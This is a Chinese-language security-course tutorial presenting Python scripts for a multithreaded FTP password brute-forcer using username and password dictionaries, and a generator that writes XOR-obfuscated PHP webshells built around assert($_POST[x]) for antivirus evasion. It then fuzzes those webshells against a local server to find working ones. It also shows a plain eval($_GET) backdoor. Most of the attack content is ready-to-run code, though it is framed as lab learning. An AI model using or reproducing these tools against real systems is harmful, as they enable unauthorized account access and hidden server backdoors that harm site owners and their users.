本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
课知识点:
学习目的:
演示案例:
- Python 开发-简单多线程技术实现脚本
- Python 开发-利用 FTP 模块实现协议爆破脚本
- Python 开发-配合 Fuzz 实现免杀异或 Shell 脚本
Python 开发-利用 FTP 模块实现协议爆破脚本与简单多线程技术实现脚本
1)首先开启FTP服务器,我这里使用一个小工具Slyar FTPserver在虚拟机中开启
设置一下账户密码与访问目录然后启动服务即可
在真实机尝试连接FTP服务器语法格式:ftp://目标ip
2)使用python简单的模拟登录测试
import ftplib # 导入ftplib模块
# 简单的模拟登录测试
ftp = ftplib.FTP() # 创建ftp的操作类
ftp.connect('192.168.100.106',21) # 连接的ftp ip和端口(ftp服务器默认的端口是21)
ftp.login('a','1') # 连接的用户名,密码
3)爆破:ip,端口,用户名,密码字典
用户名字典和密码字典可以自己创建,只要包含真正的用户与密码就好,如果是工作需要可以使用字典生成器生成字典或在github上搜索现成的字典下载。(最底部有链接可以下载源码与字典)
import ftplib # 导入ftplib模块
# 爆破:ip,端口,用户名,密码字典
def ftp_brute():
ftp = ftplib.FTP() # 创建ftp的操作类
ftp.connect('192.168.1.5', 21) # 连接的ftp 设置ip和端口(ftp服务器默认的端口是21)
for username in open('ftp-user.txt'): # ftp-user.txt 就是一个简单的用户名字典,自己创建一个或在网上下载都可以
for password in open('ftp-pass.txt'): # 遍历密码字典
username = username.replace('\n','') # 将换行替换为空
password = password.replace('\n','')
# print(f"{username} | {password}")
try: # 如果连接的用户名或密码错误就会报错,这个做个异常处理
ftp.login(username,password) # 连接的用户名,密码
ftp.retrlines('list') # 获取FTP服务器上的文件信息
print(f"连接成功,账号:{username},密码:{password}")
except Exception as e:
print(f"连接失败,{username}|{password}")
pass
# print(e)
if __name__ == '__main__':
ftp_brute()
但是这有个很严重的问题,就是如果我们的字典内容很多这个程序好执行很长时间才能找出账号密码,这无疑是很浪费时间的,解决:使用多线程进行编程
4)使用多线程编程优化代码
import ftplib # 导入ftplib模块
import threading # 导入threading模块实现多线程
import queue # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
import sys
# 爆破:ip,端口,用户名,密码字典
def ftp_brute(ip,port):
ftp = ftplib.FTP() # 创建ftp的操作类
ftp.connect(ip, int(port)) # 连接的ftp 设置ip和端口(ftp服务器默认的端口是21)
# .empty()如果队列为空,返回 True,否则返回 False
while not q.empty(): # while 循环 not(非,反转) 真为假,假为真
user_pass = q.get() # 获取队列,timeout等待时间
list = user_pass.split('|') # split() 拆分字符串,等到的是一个列表
username = list[0] # 用户名
password = list[1] # 密码
# print(f"{username} | {password}")
try: # 如果连接的用户名或密码错误就会报错,这个做个异常处理
ftp.login(username,password) # 连接的用户名,密码
# ftp.retrlines('list') # 获取FTP服务器上的文件信息
print(f"连接成功,账号:{username},密码:{password}")
except Exception as e:
# print(f"连接失败,{username}|{password}")
pass
if __name__ == '__main__':
try:
ip = sys.argv[1] # 接收外部传进来的第一个参数ip,如:192.168.1.5
port = sys.argv[2] # 接收外部传进来的第二个参数端口,如:21
userfile = sys.argv[3] # 接收外部传进来的第三个参数用户名字典,如:ftp-user.txt
passfile = sys.argv[4] # 接收外部传进来的第四个个参数密码字典,如:ftp-pass.txt
threading_num = sys.argv[5] # 接收外部传进来的第五个参数创建的线程数,建议:5-10
except IndexError as e:
ip = '192.168.1.5'
port = 21
userfile = 'ftp-user.txt'
passfile = 'ftp-pass.txt'
threading_num = 5
pass
q = queue.Queue() # 创建队列
for username in open(userfile): # ftp-user.txt 就是一个简单的用户名字典,自己创建一个或在网上下载都可以
for password in open(passfile): # 遍历密码字典
username = username.replace('\n', '') # 将换行替换为空
password = password.replace('\n', '')
q.put(username + '|' + password) # 向队列中插入元素(用户名与密码)
# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
for x in range(int(threading_num)): # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
t = threading.Thread(target=ftp_brute,args=(ip,port)) # 创建线程对象,target=执行目标任务名
t.start() # 启动线程,让他开始工作
直接运行程序
在外部运行程序
F:\python项目\python_study\day78\ftp_bru.py 192.168.1.5 21 ftp-user.txt ftp-pass.txt 5
总结:这个是爆破FTP协议的程序使用ftplib模块,如果要爆破其他协议实现思路也是一样改一改使用的连接模块就好。
Python 开发-配合 Fuzz 实现免杀异或 Shell 脚本
前提:安装PhpStudy (一路下一步就好,可以改下安装路径,不改也行)
1)使用异或的方式生成后门木马
'!' '^' '@'经过异或运算之后结果为a,与后面的ssert形成assert()函数,执行后门。或者是每个字母都进行异或运算最后形成执行函数
<?php $a=('!'^'@').'ssert';$a($_POST[x]);?> // assert()
for i in range(1,127): # ASCII值的范围就是1-127
for ii in range(1,127):
payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'" # chr()方法将数字转换为ASCII值对应的字符
code = "<?php $a=("+payload+").'ssert';$a($_POST[x]);?>" # 定义后门代码
filename = str(i) + 'xd' + str(ii) + '.php' # 定义文件路径
# 这里要改成自己的phpStudy路径,x这个文件夹是要自己创建的
with open(f'F:/phpStudy/PHPTutorial/WWW/x/{filename}' ,'a') as f: # 读取文件,a 文件不存在就会创建,如果已经存在就在后面追加内容
f.write(code)
2)发送请求验证后门木马是否可用,可用的是那些
import requests # 这个模块是来发送网络请求的
for i in range(1,127): # ASCII值的范围就是1-127
for ii in range(1,127):
payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'" # chr()方法将数字转换为ASCII值对应的字符
code = "<?php $a=("+payload+").'ssert';$a($_POST[x]);?>" # 定义后门代码
filename = str(i) + 'xd' + str(ii) + '.php' # 定义文件路径
# 这里要改成自己的phpStudy路径,x这个文件夹是要自己创建的
with open(f'F:/phpStudy/PHPTutorial/WWW/x/{filename}' ,'a') as f: # 读取文件,a 文件不存在就会创建,如果已经存在就在后面追加内容
f.write(code) # 向文件写入后门代码
url = f'http://127.0.0.1/x/{filename}' # 定义请求的URL
data = { # 定义请求的参数
'x':'phpinfo();' # phpinfo()方法可以打开phpinfo页面(里面包含一些PHP的版本、扩展之类的信息)
}
result = requests.post(url,data=data).content.decode('utf-8') # 使用requests模块发送post请求 .content 获取返回的结果 .decode('utf-8')指定解析的编码格式
if 'phpinfo()' in result: # 判断返回的源代码中是否包含phpinfo()这个字符串,有就是请求成功了后门程序可用,没有就是失败
print(str(i) + 'xd' + str(ii) + '.php' + '|ok')
else:
print(str(i) + 'xd' + str(ii) + '.php' + '|no')
代码运行后就会打印出,那些文件可用那些不可用
我这里使用中国菜刀连接进行验证:
前提启动服务
使用步骤:
代码中一些难点解析:
if 'phpinfo()' in result: 首先我为啥写判断phpinfo()这个字符串,这个是手动连接后门文件 ->查源代码 ->在源代码中找出来的
11.php这个文件是我自己写的以GET请求方式的后门文件,因为在浏览器中发送post请求要安装插件懒得装,也可以使用Burp这个抓包软件进行发送
<?php @eval($_GET["pass"]);?>
3) 使用多线程优化一下代码
import requests # 这个模块是来发送网络请求的
import threading # 导入threading模块实现多线程
import queue # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
def create_shell():
while not q.empty(): # while 循环 not(非,反转) 真为假,假为真
filename = q.get() # 获取队列
url = f'http://127.0.0.1/x/{filename}' # 定义请求的URL
data = { # 定义请求的参数
'x':'phpinfo();' # phpinfo()方法可以打开phpinfo页面(里面包含一些PHP的版本、扩展之类的信息)
}
try:
result = requests.post(url,data=data).content.decode('utf-8') # 使用requests模块发送post请求 .content 获取返回的结果 .decode('utf-8')指定解析的编码格式
if 'phpinfo()' in result: # 判断返回的源代码中是否包含phpinfo()这个字符串,有就是请求成功了后门程序可用,没有就是失败
print(filename + '|ok')
# else:
# print(filename + '|no')
except Exception as e:
pass
if __name__ == '__main__':
q = queue.Queue() # 创建队列
for i in range(1, 127): # ASCII值的范围就是1-127
for ii in range(1, 127):
payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'" # chr()方法将数字转换为ASCII值对应的字符
code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>" # 定义后门代码
filename = str(i) + 'xd' + str(ii) + '.php' # 定义文件路径
q.put(filename) # 向队列中插入元素(文件名)
# 这里要改成自己的phpStudy路径,x这个文件夹是要自己创建的
with open(f'F:/phpStudy/PHPTutorial/WWW/x/{filename}', 'a') as f: # 读取文件,a 文件不存在就会创建,如果已经存在就在后面追加内容
f.write(code) # 向文件写入后门代码
print(f"正在生成文件:{filename}")
print(q.get())
# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
for x in range(10): # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
t = threading.Thread(target=create_shell) # 创建线程对象,target=执行目标任务名
t.start() # 启动线程,让他开始工作
其他的绕过方法:
https://www.cnblogs.com/hackmang/p/11806497.html
涉及资源:
https://pan.baidu.com/s/13y3U6jX3WUYmnfKnXT8abQ 提取码:xiao